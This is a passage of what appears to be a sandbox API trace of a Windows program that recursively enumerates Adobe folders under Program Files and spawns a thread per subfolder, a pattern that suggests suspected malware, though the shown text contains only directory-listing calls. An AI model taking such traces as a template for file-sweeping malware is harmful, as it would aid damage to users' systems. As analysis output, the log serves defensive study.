nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveX", cAlternateFileName="")) returned 0 [0048.703] FindClose (in: hFindFile=0x4409a0 | out: hFindFile=0x4409a0) returned 1 [0048.703] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424ab0) returned 1 [0048.703] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4212d8) returned 1 [0048.703] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x420e08) returned 1 Thread: id = 229 os_tid = 0x8c4 [0046.765] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x446120 [0046.765] wcscpy (in: _Dest=0x446120, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM" [0046.765] wcscat (in: _Dest=0x446120, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\" [0046.765] wcscat (in: _Dest=0x446120, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\*" [0046.766] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45a168 [0046.766] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\*", lpFindFileData=0x45a168 | out: lpFindFileData=0x45a168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440460 [0046.766] wcscmp (_String1=".", _String2=".") returned 0 [0046.766] FindNextFileW (in: hFindFile=0x440460, lpFindFileData=0x45a168 | out: lpFindFileData=0x45a168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.766] wcscmp (_String1="..", _String2=".") returned 1 [0046.766] wcscmp (_String1="..", _String2="..") returned 0 [0046.766] FindNextFileW (in: hFindFile=0x440460, lpFindFileData=0x45a168 | out: lpFindFileData=0x45a168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 1 [0046.766] wcscmp (_String1="1.0", _String2=".") returned 1 [0046.766] wcscmp (_String1="1.0", _String2="..") returned 1 [0046.766] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x421348 [0046.766] wcscpy (in: _Dest=0x421348, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM" [0046.766] wcscat (in: _Dest=0x421348, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\" [0046.766] wcscat (in: _Dest=0x421348, _Source="1.0" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0" [0048.885] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x421348, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x390 [0048.886] FindNextFileW (in: hFindFile=0x440460, lpFindFileData=0x45a168 | out: lpFindFileData=0x45a168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 0 [0048.886] FindClose (in: hFindFile=0x440460 | out: hFindFile=0x440460) returned 1 [0048.886] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45a168) returned 1 [0048.886] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446120) returned 1 [0048.886] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445c40) returned 1 Thread: id = 230 os_tid = 0x860 [0046.766] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x4213b8 [0046.767] wcscpy (in: _Dest=0x4213b8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0046.767] wcscat (in: _Dest=0x4213b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0046.767] wcscat (in: _Dest=0x4213b8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\*" [0046.767] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45a3d0 [0046.767] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\*", lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4403a0 [0048.521] wcscmp (_String1=".", _String2=".") returned 0 [0048.521] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.521] wcscmp (_String1="..", _String2=".") returned 1 [0048.521] wcscmp (_String1="..", _String2="..") returned 0 [0048.521] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca_ES", cAlternateFileName="")) returned 1 [0048.521] wcscmp (_String1="ca_ES", _String2=".") returned 1 [0048.521] wcscmp (_String1="ca_ES", _String2="..") returned 1 [0048.521] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e45f80 [0048.521] wcscpy (in: _Dest=0x5e45f80, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0048.521] wcscat (in: _Dest=0x5e45f80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0048.521] wcscat (in: _Dest=0x5e45f80, _Source="ca_ES" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES" [0049.632] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5e45f80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x924 [0049.633] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs_CZ", cAlternateFileName="")) returned 1 [0049.633] wcscmp (_String1="cs_CZ", _String2=".") returned 1 [0049.633] wcscmp (_String1="cs_CZ", _String2="..") returned 1 [0049.633] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e45ff8 [0049.633] wcscpy (in: _Dest=0x5e45ff8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0049.633] wcscat (in: _Dest=0x5e45ff8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0049.633] wcscat (in: _Dest=0x5e45ff8, _Source="cs_CZ" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ" [0049.634] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5e45ff8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x584 [0049.634] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da_DK", cAlternateFileName="")) returned 1 [0049.634] wcscmp (_String1="da_DK", _String2=".") returned 1 [0049.634] wcscmp (_String1="da_DK", _String2="..") returned 1 [0049.634] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e46430 [0049.635] wcscpy (in: _Dest=0x5e46430, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0049.635] wcscat (in: _Dest=0x5e46430, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0049.635] wcscat (in: _Dest=0x5e46430, _Source="da_DK" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK" [0049.635] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5e46430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x710 [0049.636] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de_DE", cAlternateFileName="")) returned 1 [0049.636] wcscmp (_String1="de_DE", _String2=".") returned 1 [0049.636] wcscmp (_String1="de_DE", _String2="..") returned 1 [0049.636] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b4b0 [0049.636] wcscpy (in: _Dest=0x43b4b0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0049.636] wcscat (in: _Dest=0x43b4b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0049.636] wcscat (in: _Dest=0x43b4b0, _Source="de_DE" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE" [0049.636] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43b4b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x70c [0049.637] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1 [0049.637] wcscmp (_String1="en_US", _String2=".") returned 1 [0049.637] wcscmp (_String1="en_US", _String2="..") returned 1 [0049.637] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b528 [0049.637] wcscpy (in: _Dest=0x43b528, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0049.637] wcscat (in: _Dest=0x43b528, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0049.637] wcscat (in: _Dest=0x43b528, _Source="en_US" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US" [0049.638] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43b528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x708 [0049.639] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_ES", cAlternateFileName="")) returned 1 [0049.639] wcscmp (_String1="es_ES", _String2=".") returned 1 [0049.639] wcscmp (_String1="es_ES", _String2="..") returned 1 [0049.639] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b5a0 [0049.639] wcscpy (in: _Dest=0x43b5a0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0049.639] wcscat (in: _Dest=0x43b5a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0049.639] wcscat (in: _Dest=0x43b5a0, _Source="es_ES" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES" [0049.639] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43b5a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x704 [0049.640] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu_ES", cAlternateFileName="")) returned 1 [0049.640] wcscmp (_String1="eu_ES", _String2=".") returned 1 [0049.640] wcscmp (_String1="eu_ES", _String2="..") returned 1 [0049.640] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b618 [0049.640] wcscpy (in: _Dest=0x43b618, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0049.640] wcscat (in: _Dest=0x43b618, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0049.640] wcscat (in: _Dest=0x43b618, _Source="eu_ES" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES" [0049.640] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43b618, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x700 [0049.642] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi_FI", cAlternateFileName="")) returned 1 [0049.642] wcscmp (_String1="fi_FI", _String2=".") returned 1 [0049.642] wcscmp (_String1="fi_FI", _String2="..") returned 1 [0049.642] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b690 [0049.642] wcscpy (in: _Dest=0x43b690, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0049.642] wcscat (in: _Dest=0x43b690, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0049.642] wcscat (in: _Dest=0x43b690, _Source="fi_FI" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI" [0049.642] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43b690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6fc [0049.646] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr_FR", cAlternateFileName="")) returned 1 [0049.646] wcscmp (_String1="fr_FR", _String2=".") returned 1 [0049.646] wcscmp (_String1="fr_FR", _String2="..") returned 1 [0049.646] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b708 [0049.646] wcscpy (in: _Dest=0x43b708, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0049.646] wcscat (in: _Dest=0x43b708, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0049.646] wcscat (in: _Dest=0x43b708, _Source="fr_FR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR" [0049.647] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43b708, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f8 [0049.648] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr_HR", cAlternateFileName="")) returned 1 [0049.648] wcscmp (_String1="hr_HR", _String2=".") returned 1 [0049.648] wcscmp (_String1="hr_HR", _String2="..") returned 1 [0049.648] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b780 [0049.648] wcscpy (in: _Dest=0x43b780, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0049.648] wcscat (in: _Dest=0x43b780, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0049.648] wcscat (in: _Dest=0x43b780, _Source="hr_HR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR" [0049.648] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43b780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x57c [0049.649] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu_HU", cAlternateFileName="")) returned 1 [0049.649] wcscmp (_String1="hu_HU", _String2=".") returned 1 [0049.649] wcscmp (_String1="hu_HU", _String2="..") returned 1 [0049.649] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b7f8 [0049.649] wcscpy (in: _Dest=0x43b7f8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0049.649] wcscat (in: _Dest=0x43b7f8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0049.649] wcscat (in: _Dest=0x43b7f8, _Source="hu_HU" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU" [0049.649] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43b7f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x570 [0049.651] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it_IT", cAlternateFileName="")) returned 1 [0049.651] wcscmp (_String1="it_IT", _String2=".") returned 1 [0049.651] wcscmp (_String1="it_IT", _String2="..") returned 1 [0049.651] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b870 [0049.651] wcscpy (in: _Dest=0x43b870, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0049.651] wcscat (in: _Dest=0x43b870, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files 